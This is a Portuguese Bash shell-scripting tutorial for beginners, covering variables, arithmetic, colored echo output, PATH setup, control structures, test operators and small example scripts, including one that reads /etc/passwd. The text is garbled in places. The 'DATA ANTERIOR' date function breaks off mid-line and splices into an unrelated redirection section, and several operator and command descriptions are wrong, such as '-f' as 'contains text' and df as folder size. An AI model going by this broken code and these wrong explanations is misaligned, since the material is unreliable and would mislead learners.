echo "Informação sobre o calendário atual: $HOJE"

HOJE=$(uptime)

echo "Informação sobre tempo de funcionamento desta máquina: $HOJE"

clear

HOJE=$(lsblk)

echo 'Informação sobre dispositivos de bloco: $HOJE'

echo 'Informação sobre dispositivos de bloco: ${HOJE}'

unset HOJE

echo $HOJE

echo ${HOJE}

echo `expr 3 + 2`

echo $((3+2))

echo `expr 9 + 4`

echo $((9+4))

echo $((2*3))

echo 'dois vezes três é:' $((2*3))

echo $((2*4-2/2+3))

VALOR=44

echo $VALOR

echo $((VALOR*1))

echo $((VALOR*2))

echo $((VALOR*3))

echo $VALOR

VALOR=$((VALOR+1))

echo $VALOR

VALOR=$((VALOR+11))

echo $VALOR

VALOR=$((VALOR+1))

echo $VALOR

VALOR=$((VALOR+11))

echo $VALOR

unset VALOR

echo $VALOR

VALOR="echo -e \nBom\nDia\nMundo\nLinux\n"

$VALOR

echo $VALOR

echo ${VALOR}

VALOR=$(uname -a)

echo $VALOR

HOJE=$(arch)

echo $HOJE

clear

VALOR=$(uname -a) ; echo ; echo "Informação sobre o kernel: $VALOR" ; sleep 4 ; echo ; VALOR=$(arch) ; echo "Informação sobre a arquitetura do sistema: $USER" ; echo ; sleep 2

unset VALOR

unset HOJE

clear

printf "%-5s %-10s %-4s\n" No Nome Pontos

printf "%-5s %-10s %-4.2f\n" 1 Marta 8

printf "%-5s %-10s %-4.2f\n" 2 Joel 9

printf "%-5s %-10s %-4.2f\n" 3 Carlos 7

echo -e "\e[1;31m Este é o texto em vermelho \e[0m"

echo -e "\e[1;32m Este é o texto em verde \e[0m"

echo -e "\e[1;32m Este é o \e[1;34mtexto \e[1;31mmisturado \e[0m"

VALOR="echo -e \e[1;31m\nBom\nDia\nMundo\nLinux\n\e[0m"

$VALOR

echo $VALOR

echo ${VALOR}

unset VALOR

$VALOR

echo $VALOR

unset HOJE

echo $HOJE

clear

exit
.

Muito bom que você digitou um comando de cada vez.

Os comandos mais longos pode copiar e colar no terminal se quiser, mas no início seria melhor digitar.

Saiba que a partir deste momento você já está entendendo coisas extremamente úteis para escrever shellscript usando o Bash!

Uma coisa interessante sobre a maior parte dos comandos acima, é que para estudar eles, você não precisa estar conectado a internet.

Os comandos acima oferecem informações interessantes e úteis. Podemos colocar todos eles em um só script e executar. Dependendo do caso, é mais fácil que digitar um a um de cada vez toda vez que precisar.

.

SE PUDER, ANTES DE CONTINUAR EXECUTE OS COMANDOS ACIMA QUE TE CHAMARAM MAIS A ATENÇÃO DE NOVO POIS, EXECUTAR ELES É MUITO DIDÁTICO. NADA MELHOR QUE APRENDER PRATICANDO.

.

OBS:

Voce pode ajustar o PATH no Linux tornando mais fácil executar scripts. Em algumas distros parece que só de criar a pasta bin/, atualizar, adicionar o PATH ao .bashrc e reiniciar já deixa tudo pronto.

O .bashrc está na tua home para ver ele aperte as teclas Ctrl+H porque todo arquivo precedido por "." fica oculto no Linux.

.

ALTERAR A VARIÁVEL DE AMBIENTE PATH (Cuidado!!!) - É por sua conta e risco.

.

Criar um subdiretório no seu diretório local, para guardar seus scripts e seus programas compilados.

.

Pode informar este diretório específico ao PATH.

.

Você pode ver o conteúdo da variável de ambiente $PATH com o comando echo:

echo $PATH

.

Crie um subdiretório, no seu home, chamado ‘bin’, e o inclua no PATH. Assim:

whoami

cd

pwd

mkdir bin

ls -t

export PATH=$PATH:$HOME/bin

echo $PATH

.

Se quiser torná-la permanente, no final do arquivo ‘.bashrc’ inclua a linha abaixo copiando e colando ela no .bashrc usando um editor de texto:

export PATH=$PATH:$HOME/bin

.

Pode fazer isto pelo terminal também:

cd ; echo 'export PATH=$PATH:$HOME/bin' >> .bashrc

.

TALVEZ NÃO SEJA NECESSÁRIO MAS:

.

ACRESCENTAR O CAMINHO ‘/home/seu-usuario-whoami/bin’ AO PATH DE USUÁRIO.

.

Acrescentando o novo valor à variável $PATH:

cd

whoami

PATH=$PATH:/home/seu-usuario-whoami/bin/

.

Para tornar o valor, que você quiser, permanente, faça o ajuste da variável dentro do arquivo ‘.profile’ ou ‘.bash_profile’

export PATH="$HOME/bin:$HOME/.local/bin:$PATH"

.

Exemplo:

cd

pwd

ls -a

echo 'PATH=$PATH:/home/seu-usuario-whoami/bin/' >> .profile

ls -a -t

.

PARA FUNCIONAR, ATUALIZE E REINICIE O SISTEMA. COMANDO PARA REBOOT:

sudo shutdown -r now

.

VERIFICANDO A NOVA VARIÁVEL:

echo $PATH

.

LINUX SHELL SCRIPT BRINCANDO COM 5 VARIÁVEIS:

#!/bin/bash

clear

# Este script testa o uso de variáveis

# Definindo 5 variáveis

echo ; echo 'Definindo 5 variáveis em 10 segundos.' ; sleep 3 ; echo

VALOR1='ls -t' ; sleep 2 ; VALOR2='pwd' ; sleep 2 ; VALOR3='cal' ; sleep 2 ; VALOR4='uptime' ; sleep 2 ; VALOR5='whoami' ; sleep 2

# Executando as 5 variáveis

echo 'Executando as 5 variáveis com explicações.' ; sleep 4 ; echo

echo 'Vamos listar o conteúdo desta pasta:' ; echo ; $VALOR1 ; sleep 4 ; echo ; echo 'Vamos saber onde estamos localizados no sistema:' ; sleep 4 ; echo ; $VALOR2 ; sleep 4 ; echo ; echo 'Vamos ver o calendário atual' ; sleep 4 ; echo ; $VALOR3 ; echo ; echo 'Vamos saber o tempo de funcionamento da máquina:' ; sleep 4 ; echo ; $VALOR4 ; sleep 4 ; echo ; echo 'Vamos saber qual é o usuário logado' ; sleep 4 ; echo ; $VALOR5 ; echo

sleep 5

echo 'Executando apenas as variáveis:' ; echo ; $VALOR1 ; sleep 2 ; $VALOR2 ; sleep 2 ; $VALOR3 ; sleep 2 ; $VALOR4 ; sleep 2 ; $VALOR5

# Removendo as 5 variáveis pois este script é apenas um teste

echo ; echo 'Removendo as 5 variáveis em 10 segundos, pois este script é apenas um teste' ; sleep 4 ; echo

unset VALOR1 ; sleep 2 ; unset VALOR2 ; sleep 2 ; unset VALOR3 ; sleep 2 ; unset VALOR4 ; sleep 2 ; unset VALOR5 ; sleep 2

echo ; echo '10 seg para testar as variáveis que não devem ecoar valores' ; sleep 4 ; echo

echo 'Testando as variáveis:' ; echo ; $VALOR1 ; sleep 2 ; $VALOR2 ; sleep 2 ; $VALOR3 ; sleep 2 ; $VALOR4 ; sleep 2 ; $VALOR5

exit

# Fim do script

.

LINUX SHELL SCRIPT - OlaUsuario.sh

.

#!/bin/bash

# Titulo: 01-olauser.sh

clear

USERL='Usuário-Linux'

echo

echo "Olá $USERL"

sleep 2

echo

echo "Tchau $USERL"

sleep 2

clear

exit

# Fim do script

.

Abra o terminal pelo menu do sistema. Abra o gerenciador de arquivos. Coloque os dois lado a lado na tela do computador. Execute o script acima copiando e colando no terminal o código abaixo que vai executar o script e depois vai apagar o script:

.

cd ; mkdir praticando-shellscript ; cd praticando-shellscript/ ; echo -e '#!/bin/bash\n \n# Titulo: 01-olauser.sh\n \nclear\n \nUSERL=Usuário-Linux\necho\necho Olá $USERL\n \nsleep 4\necho\necho Tchau $USERL\n \nsleep 4\necho\n \nsleep 2\nclear\n \nexit\n \n# Fim do script' > 01-olauser.sh ; chmod a+x 01-olauser.sh ; sh 01-olauser.sh ; sleep 2 ; cd .. ; unset USERL ; rm -rf praticando-shellscript/ ; echo ; pwd ; sleep 2 ; echo ; ls -t ; sleep 2 ; $USERL

.

LINUX SHELL SCRIPT IMPRIMIR SAÍDA COLORIDA:

.

Um script pode usar sequências de escape para produzir textos coloridos no terminal. As cores são representadas por códigos, temos 9 códigos:

reset = 0

black = 30

red = 31

green = 32

yellow = 33

blue = 34

magenta = 35

cyan = 36

white = 37

.

O caractere de escape para vermelho é: "\e[1;31m" após o texto em vermelho, usa "\e[0m" para resetar a cor voltando ao padrão. Substitua o código 31 por outra cor que desejar. Temos 9 códigos: 0, 30, 31, 32, 33, 34, 35, 36, 37.

.

Exemplo:

echo -e "\e[1;36m texto que vai ficar colorido \e[0m"

.

PARA IMPRIMIR UM TEXTO COLORIDO USE ESTES EXEMPLOS ABAIXO:

.

echo -e "\e[1;34m Este é o texto em azul! \e[0m"

echo -e "\e[1;30m Este é o texto em preto! \e[0m"

echo -e "\e[1;32m Este é o texto em verde! \e[0m"

echo -e "\e[1;33m Este é o texto em amarelo! \e[0m"

echo -e "\e[1;35m Este é o texto em magenta! \e[0m"

echo -e "\e[1;36m Este é o texto em cyan! \e[0m"

echo -e "\e[1;37m Este é o texto em branco! \e[0m"

.

PODEMOS IMPRIMIR TODOS ESTE TEXTOS AO MESMO TEMPO PARA TESTAR.

.

Copie o código que eu escrevi abaixo e cole no seu terminal:

.

echo -e "\e[1;34m Este é o texto em azul! \e[0m" ; sleep 3 ; echo -e "\e[1;30m Este é o texto em preto! \e[0m" ; sleep 3 ; echo -e "\e[1;32m Este é o texto em verde! \e[0m" ; sleep 3 ; echo -e "\e[1;33m Este é o texto em amarelo! \e[0m" ; sleep 3 ; echo -e "\e[1;35m Este é o texto em magenta! \e[0m" ; sleep 3 ; echo -e "\e[1;36m Este é o texto em cyan! \e[0m" ; sleep 3 ; echo -e "\e[1;37m Este é o texto em branco! \e[0m"

.

DÁ PARA CRIAR UM SHELL SCRIPT COM ISTO VEJA SÓ:

.

#!/bin/bash

clear

echo

echo -e "\e[1;34mVamos criar uma \e[1;31mpasta. \e[0m"

echo

sleep 4

mkdir pasta-teste

echo

echo -e "\e[1;30mVamos ver se a \e[1;31mpasta \e[1;30mfoi criada. \e[0m"

echo

sleep 4

ls -t

echo

sleep 3

echo -e "\e[1;32mVamos criar um \e[1;31marquivo de texto \e[1;32mvazio \e[0m"

echo

sleep 4

> texto-teste.txt ; echo ; ls -t ; echo ; sleep 5 ; echo

echo -e "\n\e[1;33mVamos \e[1;31mescrever \e[1;33me \e[1;35mmover \e[1;33mo \e[1;32mtexto-teste.txt \e[1;33mpara:\n \n\e[1;34mpasta-teste\n \e[0m"

echo

sleep 4

echo -e "Esta frase\nserá escrita\nem\ntexto-teste.txt" > texto-teste.txt ; sleep 3 ; mv texto-teste.txt pasta-teste

echo

echo -e "\n\e[1;35mEntrar em \e[1;32mpasta-teste \e[1;35me conferir o conteúdo dela \e[0m\n"

echo

cd pasta-teste/ ; echo ; ls -t ; sleep 4 ; echo ; pwd ; echo ; sleep 4

echo

echo -e "\e[1;36mCopiando \e[1;37mtexto-teste.txt \e[1;36mpara \e[1;34mtexto-teste2.txt \e[0m"

echo

sleep 4

cp texto-teste.txt texto-teste2.txt ; echo ; ls -t ; echo ; sleep 4 ; echo ; pwd ; echo ; sleep 4

echo -e "\e[1;37mFim do script. \e[1;31mPode apagar tudo \e[1;32musando o \e[1;37mmouse. \e[0m"

echo

sleep 4

echo -e "\e[1;37mOu pode executar o comando: \e[1;31mrm -rf pasta-teste\e[1;32m mas antes confere os arquivos de texto.\e[0m"

echo

sleep 4

exit

# Fim do script

.

COMANDOS MAIS USADOS EM SHELL SCRIPT NO LINUX

.

ASPAS SIMPLES ' E ASPAS DUPLAS ":

.

Aspas duplas permitem interpretar caracteres especiais.

Aspas simples desabilitam esta interpretação.

Ambas são úteis.

.

CARACTERES DE ESCAPE:

echo "Hello \"world\"!"

.

TODO SCRIPT ESCRITO PARA RODAR NO BASH COMEÇA COM:

#!/bin/bash

Após "#!/bin/bash" de um espaço entre linhas e então pode começar a digitar comandos.

.

Exemplo:

#!/bin/bash

clear

echo ; date ; echo ; sleep 4

echo ; cal ; echo ; sleep 4

echo ; uptime ; echo ; sleep 4

echo ; df -h ; echo ; sleep 4

echo ; free -html ; echo ; sleep 4

echo ; whoami ; echo ; sleep 4

echo ; pwd ; echo ; sleep 4

echo ; ls -at ; echo ; sleep 4

echo ; whereis bash ; echo ; sleep 4

echo ; echo 'Este é o fim do script 01-script.sh' ; echo ; sleep 4

exit

# Fim do script

.

ESTE SCRIPT ÚTIL E INOFENSIVO ACIMA SERÁ SALVO NA PASTA HOME, A PASTA DA CASINHA, USANDO UM EDITOR DE TEXTO E TERÁ O NOME DE:

01-script.sh

.

Posso melhorar/tornar mais amigável este script acima explicando sobre cada comando:

.

#!/bin/bash

clear

echo ; echo 'Hoje é data:' ; echo ; sleep 2

echo ; date ; echo ; sleep 4

echo ; echo 'Hoje pelo calendário é:' ; echo ; sleep 2

echo ; cal ; echo ; sleep 4

echo ; echo 'Esta máquina está funcionando a:' ; echo ; sleep 2

echo ; uptime ; echo ; sleep 4

echo ; echo 'Sobre o tamanho desta pasta:' ; echo ; sleep 2

echo ; df -h ; echo ; sleep 6

echo ; echo 'Sobre a memória RAM:' ; echo ; sleep 2

echo ; free -html ; echo ; sleep 6

echo ; echo 'Você está logado como:' ; echo ; sleep 2

echo ; whoami ; echo ; sleep 4

echo ; echo 'Você está em:' ; echo ; sleep 2

echo ; pwd ; echo ; sleep 4

echo ; echo 'Neste diretório/pasta tem:' ; echo ; sleep 2

echo ; ls -at ; echo ; sleep 6

echo ; echo 'O Bash está em:' ; echo ; sleep 2

echo ; whereis bash ; echo ; sleep 4

echo ; echo 'Este é o fim do script 01-script.sh' ; echo ; sleep 4

exit

# Fim do script

.

No Linux o script deve ter permissão de execução, isto pode ser feito abrindo o terminal pelo menu do sistema e executando o comando:

chmod +x 01-script.sh

.

Depois de salvo você tem que executar o arquivo, dessa forma:

./01-script.sh

.

Viu alguma utilidade neste pequeno script?

Então siga adiante.

.

IMPORTANTE:

Para estudar shell script tem que ser como usuário normal. Se você está acessando o sistema como usuário administrador (root), saia e entre como um usuário normal. É muito perigoso estudar shell usando o superusuário, você pode danificar o sistema com um comando errado.

Ok, continuemos.

.

Para exibir um manual do bash ou mesmo do comando 'chmod', digite na linha de comando:

man bash

man chmod

.

É possível executar o arquivo mesmo sem modificar a permissão de execução, por exemplo, se for um arquivo escrito para ser executado pelo bash, usar:

sh ./"Nome do arquivo, sem aspas"

.

SHELL

É importante saber o que é um Shell.

Na linha de comandos de um shell, podemos utilizar diversos comandos um após o outro, ou mesmo combiná-los numa mesma linha.

Se colocarmos diversas linhas de comandos em um arquivo texto simples, teremos em mãos um Shell Script, ou um script em shell, já que Script é uma descrição geral de qualquer programa escrito em linguagem interpretada, ou seja, não compilada.

Outros exemplos de linguagens para scripts são o PHP, Perl, Python, JavaScript e muitos outros. Podemos então ter um script em php, um script perl e assim em diante.

Uma vez criado, um ShellScript pode ser reutilizado quantas vezes for necessário.

Seu uso, portanto, é indicado na automação de tarefas que serão realizadas mais de uma vez.

Todo sistema Unix e similares são repletos de scripts em shell para a realização das mais diversas atividades administrativas e de manutenção do sistema.

Os arquivos de lote (batch - arquivos *.bat) do Windows são também exemplos de ShellScripts, já que são escritos em linguagem interpretada e executados por um Shell do Windows, em geral o command.com ou hoje em dia o cmd.exe.

Os Shells do Unix, porém, são inumeras vezes mais poderosos que o interpretador de comandos do Windows, podendo executar tarefas muito mais complexas e elaboradas.

.

OS SCRIPTS SHELL PODEM SER AGENDADOS PARA EXECUÇÃO ATRAVÉS DA TABELA CRONTAB, ENTRE OUTRAS COISAS.

.

O shell é uma ferramenta indispensável aos administradores de sistemas Unix.

O Shell mais comum e provavelmente o que possui mais scripts escritos para ele é também um dos mais antigos e simples, o sh.

Este shell está presente em todo o sistema tipo Unix, incluído o Linux, FreeBSD, AIX, HP-UX, OpenBSD, Solaris, NetBSD, Irix, etc. Por ser o shell nativo mais comum é natural que se prefira escrever scripts para ele, tornando o script mais facilmente portável para outro sistema.

Os Shells não estão diretamente associados a um ou outro tipo de Unix, embora várias empresas comerciais tenham suas próprias versões de Shell. No software livre o Shell utilizado em um sistema em geral é exatamente o mesmo utilizado em outro. Por exemplo, o bash encontrado no Linux é o mesmo shell bash encontrado no FreeBSD e pode também facilmente ser instalado no Solaris, Windows através do Cygwin [1] ou outros sistemas Unix comerciais para passar a ser utilizado como interface direta de comandos ou como interpretador de scripts. O mesmo acontece com o tcsh e vários outros shells desenvolvidos no modelo de software livre.

.

INTERAGIR COM O USUÁRIO

.

Para o script ficar mais completo, vamos colocar uma interação mínima com o usuário, pedindo uma confirmação antes de executar os comandos.

.

#!/bin/bash

clear

echo "Vou buscar os dados do sistema. Posso continuar? [S/n] "

read RESPOSTA

test "$RESPOSTA" = "n" && exit

echo ; echo "Data e Horário:" ; echo

date

echo

echo "Uso do disco:" ; echo

df -ht

echo

echo "Usuários conectados:" ; echo

w

echo ; echo "Seu nome de login é:"

whoami

echo

exit

# Fim do script

.

O comando "read" leu o que o usuário digitou e guardou na variável RESPOSTA. Logo em seguida, o comando "test" verificou se o conteúdo dessa variável era "n". Se afirmativo, o comando "exit" foi chamado e o script foi finalizado. Nessa linha há vários detalhes importantes:

O conteúdo da variável é acessado colocando-se um cifrão "$" na frente

O comando test é útil para fazer vários tipos de verificações em textos e arquivos

O operador lógico "&&", só executa o segundo comando caso o primeiro tenha sido OK. O operador inverso é o "||"

.

MELHORAR O CÓDIGO DO SCRIPT

Com o tempo, o script vai crescer, mais comandos vão ser adicionados e quanto maior, mais difícil encontrar o ponto certo onde fazer a alteração ou corrigir algum erro. Para poupar horas de estresse, e facilitar as manutenções futuras, é preciso deixar o código visualmente mais agradável e espaçado, e colocar comentários esclarecedores.

.

#!/bin/bash

# nome-do-script - script que mostra informações sobre o sistema

# Autor: Fulano da Silva

# Pede uma confirmação do usuário antes de executar

clear

echo "Vou buscar os dados do sistema. Posso continuar? [S/n]"

read RESPOSTA

# Se ele digitou 'n', vamos interromper o script

test "$RESPOSTA" = "n" && exit

# O date mostra a data e a hora correntes

sleep 3 ; echo "Data e Horário:" ; echo

date

sleep 3

echo

# O df mostra as partições e quanto cada uma ocupa no disco

echo "Uso do disco:"

sleep 3

echo

df

echo

sleep 6

# O w mostra os usuários que estão conectados nesta máquina

echo "Usuários conectados:"

sleep 3

echo

w

sleep 3

echo

# Fim do script

.

Basta iniciar a linha com um "#" e escrever o texto do comentário em seguida. Estas linhas são ignoradas pelo shell durante a execução. O cabeçalho com informações sobre o script e seu autor também é importante para ter-se uma visão geral do que o script faz, sem precisar decifrar seu código. Também é possível colocar comentários no meio da linha # como este

.

CARACTERÍSTICAS

.

OS SCRIPTS SHELL PODEM CONTER ESTRUTURAS DE PROGRAMAÇÃO TAIS COMO:

.

ESTRUTURAS DE DECISÃO (if)

Recurso utilizado para dar sequencia em fluxos de execução baseado decisões. Cuja sintaxe é:

- Condição Verificada é o teste que definirá se controle deve ser passado para dentro do bloco then, observe que esse teste é feito sobre a saída de um comando.

- Ação são comandos a serem executados em caso verdadeiro da condição verificada.

.

OPERADORES PARA NÚMEROS

.

-eq Verifica se é igual,

-ne Verifica se é diferente,

-lt Verifica se é menor,

-gt Verifica se é maior,

-le Verifica se é menor ou igual,

-ge Verifica se é maior ou igual.

.

OPERADORES PARA TEXTO

.

!= Verifica se é diferente,

= Verifica se é igual.

.

OPERADORES LÓGICOS

.

! Lógica NOT,

-o Lógica OU, (OR) ou ||,

-a Lógica E, (AND) ou &&.

.

OPERADOR PARA arquivos/

.

-d Verifica se é diretório,

-f Verifica se é arquivo,

-e Verifica se existe.

.

Ex:

# !/bin/bash

# Uso de Estrutura de Decisão

clear

echo 'opções'

echo '======'

echo ' -> Data do Sistema'

echo ' -> Uso do Sistema'

read opcao

if [ "$opcao" -eq 1 ]

then

echo 'Data do sistema: ' && date

elif [ "$opcao" -eq 2 ]

then

echo 'Uso do disco: ' && df -Th

fi

# Fim do script

.

ESTRUTURAS DE REPETIÇÃO (for) (while)

.

ESTRUTURA DE REPETIÇÃO for:

Permite que ações de iteração sejam executadas sobre determinados comandos ou variáveis até que a condição seja satisfeita.

.

# !/bin/bash

clear

echo "DIAS DA SEMANA"

for dia in seg ter qua qui sex sab dom

do

echo "$dia"

done

# Fim do script

.

ESTRUTURA DE REPETIÇÃO while:

Em situações onde sabemos até onde o loop irá realizar uma contagem o ideal é usar o for entretanto em cenarios onde a iteração deve cessar somente após se satisfazer uma condição o uso do laço while é mais indicado. Ex:

.

# /bin/bash

clear

var=1

while [ $var -le 7 ]

do

echo "Valor de var: $var"

var=$((var+1))

done

# Fim do script

.

UM USO INTERESSANTE DO WHILE PARA VER O LOOP FUNCIONANDO:

.

Por vezes queremos acompanhar a cópia de um arquivo na console do Linux e o caminho mais normal é abrir um outro terminal e ficar repetitivamente executando o comando ls, ou algum outro comando, haja dedo para apertar a seta pra cima e enter, seta pra cima e enter, seta pra cima e enter. Podemos resolver isto usando o comando while de forma bem simples, por exemplo se quisermos executar um ls por várias vezes, podemos fazer assim:

.

OBS: Execute um de cada vez, parar o comando com Ctrl+C.

.

1

while true; do ls; done;

2

while true; do ls; echo; sleep 5; done;

3

while true; do ls; echo; sleep 5; clear; done;

.

ISTO VAI EXECUTAR O COMANDO LS ATÉ PRESSIONARMOS CTRL + C PARA QUEBRÁ-LO.

.

FUNÇÕES E ARGUMENTOS

.

Ex:

.

# !/bin/bash

# REALIZAR BACKUP DO DIR

echo -e " \033[1;33m Digite o caminho de origem.: \033[0m "

read DIR_ORIGEM

clear

echo -e " \033[1;34m Digite o caminho de destino.: \033[0m "

read DIR_DESTINO

clear

verifica_argumentos(){

if [ $# -lt 1 ];

then

echo "Faltou informar um dos argumentos (parametros) necessarios!"

exit 1

fi

}

copia_arquivos(){

verifica_argumentos

clear

echo "Realizando backup..."

#Verificando se o dir de destino existe

if ! [ -d $DIR_DESTINO ]

then

mkdir $DIR_DESTINO

echo "Diretorio de Destino Criado"

fi

#COPIANDO ARQUIVOS

for arq in `ls $DIR_ORIGEM`

do

cp /$DIR_ORIGEM/$arq $DIR_DESTINO/$arq.bak

done

}

copia_arquivos

# Fim do script

.

DEFINIÇÕES DE VARIÁVEIS E ESCOPO DESTAS

.

Variáveis são definidas pela nomenclatura NOME_VARIAVEL="Valor da Variável". O valor pode ser tanto numérico quanto texto.

.

Nome="Joel"

.

Se quisermos acessá-la, basta fazer referência a ela com o caractere $ (cifrão) antes do nome: o comando echo $Nome, por exemplo, retornará a palavra "Joel".

.

Se quiser sabe informações sobre os sistemas de arquivo nos quais cada ARQUIVO reside ou, por padrão, sobre todos os sistemas de arquivos posso abrir um terminal e digitar:

VarInfo="df -h"

.

Depois digito no terminal "$VarInfo" sem aspas.

.

VARIÁVEIS DE AMBIENTE

.

As variáveis de ambiente independem da definição do usuario. Elas são criadas automaticamente, no momento em que se faz o login no sistema.

.

Ex:

PATH: define diretórios de procura por programas executados no shell;

USER: informa o nome do usuário do shell;

HOME: informa o caminho do diretório home do usuário;

PWD: diretório atual;

.

As variáveis são a base de qualquer script. É dentro delas que os dados obtidos durante a execução do script serão armazenados. Para definir uma variável, basta usar o sinal de igual "=" e para ver seu valor, usa-se o "echo":

.

Execute estes comandos abaixo no terminal:

.

VARIAVEL="um dois tres"

echo $VARIAVEL

echo $VARIAVEL $VARIAVEL

.

Para remover a variável acima:

unset VARIAVEL

.

Teste:

echo $VARIAVEL

.

É possível armazenar a saída de um comando dentro de uma variável. Ao invés de aspas, o comando deve ser colocado entre "$(...)", execute no terminal os comandos abaixo:

HOJE=$(date)

echo "Hoje é: $HOJE"

sleep 2

unset HOJE

echo $HOJE

HOJE=$(ls)

echo "O conteúdo desta pasta tem: $HOJE"

sleep 2

unset HOJE

echo $HOJE

HOJE=$(free -hmt)

echo "Informando sobre a memória desta máquina: $HOJE"

sleep 2

unset HOJE

echo $HOJE

.

EXEMPLOS DE USO DO SHELL SCRIPT:

.

Apagar arquivos velhos - Apagar periodicamente arquivos mais velhos que 30 dias do diretório /tmp:

.

#!/bin/bash

cd /tmp

find . -type f -mtime +30 -delete

# Fim do script

.

Este seria o conteúdo de um shell script que sempre que fosse executado apagaria arquivos com data de modificação maior que 30 dias a partir do diretório /tmp do sistema de arquivos.

.

Notem que ele é nada mais do que uma associação de 2 comandos (cd e find) em um arquivo para facilitar a repetição da tarefa. Este poderia ser, por exemplo, o conteúdo do arquivo /bin/limpatmp.sh e poderíamos chamar este script pela linha de comandos sempre que desejássemos repetir esta ação:

.

$ limpatmp.sh

.

Onde o símbolo "$" representa o prompt de comandos. Do ponto de vista do usuário este seria mais um comando disponível para uso.

.

Os scripts em shell são também muito empregados junto à inicialização do sistema (para auto-iniciar tarefas) ou como mini-aplicativos, que facilitam tarefas dos usuários, tais como montagem de dispositivos, menus de ajuda, etc.

.

Sua primeira linha obrigatoriamente começa com um "#!" (que não se deve confundir com um comentário qualquer, pois realmente é uma exceção; este par se chama, em inglês, de shebang), informando diretamente ao núcleo (kernel) qual interpretador ele deverá usar, juntamente com seu caminho, de acordo com a necessidade de cada caso. Exemplo:

#!/bin/bash

.

Em seguida, são adicionados os comandos desejados, um por linha, ou separados por ponto e vírgula. Exemplo:

.

mount -t reiserfs /dev/hda1 /mnt/hda1

ls /mnt/hda1

cp -r /mnt/hda1/* /home/user/backup

umount /dev/hda1

.

Por fim, dá-se a permissão de execução a este arquivo de texto simples ("chmod +x arquivo").

.

DATA ANTERIOR

.

#!/bin/bash

# Função em Bash para retornar a data anterior, levando em conta o mês e ano.

fn_data_anterior()

{

DIA=$D

MES=$M

ANO=$A

# Dado DIA, MES e ANO numéricos, obtém a data do dia anterior

DIA=`expr $DIA - 1`

if [ $DIA -eq 0 ]; then

MES=`expr $MES - 1`

if [ $MES -eq 0 ]; then

MES=12

ANO=`expr $ANO - 1`

fi

DIA=`cal $MES $ANO`

DIA=`echo $DIA | awk '{ print $NF }'`

fi

}

ano=`date +%Y`;

mes=`date +%m`;

let dia=10\#`date +%d`;

if (( $dia". Para guardar a saída do comando anterior no arquivo "saida", basta fazer:

cat /etc/passwd | grep root | cut -c1-10 > saida

cat saida

.

O COMANDO TEST

O canivete suíço dos comandos do shell é o "test", que consegue fazer vários tipos de testes em números, textos e arquivos. Ele possui várias opções para indicar que tipo de teste será feito, algumas delas:

-lt Núm. é menor que (LessThan)

-d É um diretório

-gt Núm. é maior que (GreaterThan)

-f É um arquivo normal

-le Núm. é menor igual (LessEqual)

-r O arquivo tem permissão de leitura

-ge Núm. é maior igual (GreaterEqual)

-s O tamanho do arquivo é maior que zero

-eq Núm. é igual (EQual)

-w O arquivo tem permissão de escrita

-ne Núm. é diferente (NotEqual)

-nt O arquivo é mais recente (NewerThan)

= String é igual

-ot O arquivo é mais antigo (OlderThan)

!= String é diferente

-ef O arquivo é o mesmo (EqualFile)

-n String é não nula

-a E lógico (AND)

-z String é nula

-o OU lógico (OR)

.

SCRIPT QUE TESTA ARQUIVOS

Tente fazer um script "testa-arquivos", que pede ao usuário para digitar um arquivo e testa se este arquivo existe. Se sim, diz se é um arquivo ou um diretório.

.

CONCEITOS MAIS AVANÇADOS:

.

CASE

.

O case é para controle de fluxo, tal como é o if. Mas enquanto o if testa expressões não exatas, o case vai agir de acordo com os resultados exatos. Vejamos um exemplo:

.

case $1 in
parametro1) comando1 ; comando2 ;;
parametro2) comando3 ; comando4 ;;
*) echo "Você tem de entrar com um parâmetro válido" ;;
esac

.

Aqui aconteceu o seguinte: o case leu a variável $1 (que é o primeiro parâmetro passado para o programa), e comparou com valores exatos. Se a variável $1 for igual à “parametro1″, então o programa executará o comando1 e o comando2; se for igual à “parametro2″, executará o comando3 e o comando4, e assim em diante. A última opção (*), é uma opção padrão do case, ou seja, se o parâmetro passado não for igual a nenhuma das outras opções anteriores, esse comando será executado automaticamente. Com o case fica muito mais fácil criar uma espécie de “menu” para o shell script do que com o if.

.

If, for e while

.

Assim como qualquer outra linguagem de programação, o shell também tem estruturas para se fazer condicionais e loop. As mais usadas são if, for e while.

.

ATÉ ESTE PONTO EM QUE ESTAMOS, JÁ SABEMOS O BÁSICO, O NECESSÁRIO PARA SE FAZER UM SCRIPT DE FUNCIONALIDADE MÍNIMA. E ESTE MÍNIMO PODE FAZER COISAS INCRÍVEIS. AVANÇAR:

case, if, for e while.

.

Comando if:

.

Comando if - else:

if ( condição ) {
comandos a serem executados se a condição for verdadeira;
}
else {
comandos a serem executados se a condição for falsa;
}

.

Controle de fluxo são comandos que vão testando algumas alternativas, e de acordo com essas alternativas, vão executando comandos. Um dos comandos de controle de fluxo mais usados é certamente o if, que é baseado na lógica “se acontecer isso, irei fazer isso, se não, irei fazer aquilo”.

.

Exemplo de um pedaço de código:

.

if [ -e $linux ]
then
echo 'A variável $linux existe.'
else
echo 'A variável $linux não existe.'
fi

.

O que este pedaço de código faz? O if testa a seguinte expressão: Se a variável $linux existir, então (then) ele diz que que existe com o echo, se não (else), ele diz que não existe. O operador "-e" é pré-definido, e você pode encontrar a listagem dos operadores na tabela:

.

-eq Igual
-ne Diferente
-gt Maior
-lt Menor
-o Ou
-d Se for um diretório
-e Se existir
-z Se estiver vazio
-f Se conter texto
-o Se o usuário for o dono
-r Se o arquivo pode ser lido
-w Se o arquivo pode ser alterado
-x Se o arquivo pode ser executado

.

Exemplo de uso do if:

.

if [COMANDOS]

then

comandos

else

comandos

fi

# Fim do script

.

Ex:

for VAR in LISTA

do

comandos

done

# Fim do script

.

Ex:

while COMANDO

do

comandos

done

# Fim do script

.

Diferente de outras linguagens, o if testa um comando e não uma condição. Porém como já conhecemos qual o comando do shell que testa condições, é só usá-lo em conjunto com o if. Por exemplo, para saber se uma variável é maior ou menor do que 10 e mostrar uma mensagem na tela informando:

.

Ex:

if test "$VARIAVEL" -gt 10

then

echo "é maior que 10"

else

echo "é menor que 10"

fi

# Fim do script

.

Há um atalho para o test , que é o comando [. Ambos são exatamente o mesmo comando, porém usar o [ deixa o if mais parecido com o formato tradicional de outras linguagens:

.

Ex:

if [ "$VARIAVEL" -gt 10 ]

then

echo "é maior que 10"

else

echo "é menor que 10"

fi

# Fim do script

.

Se usar o [, também é preciso fechá-lo com o ], e sempre devem ter espaços ao redor. É recomendado evitar esta sintaxe para diminuir suas chances de erro.

.

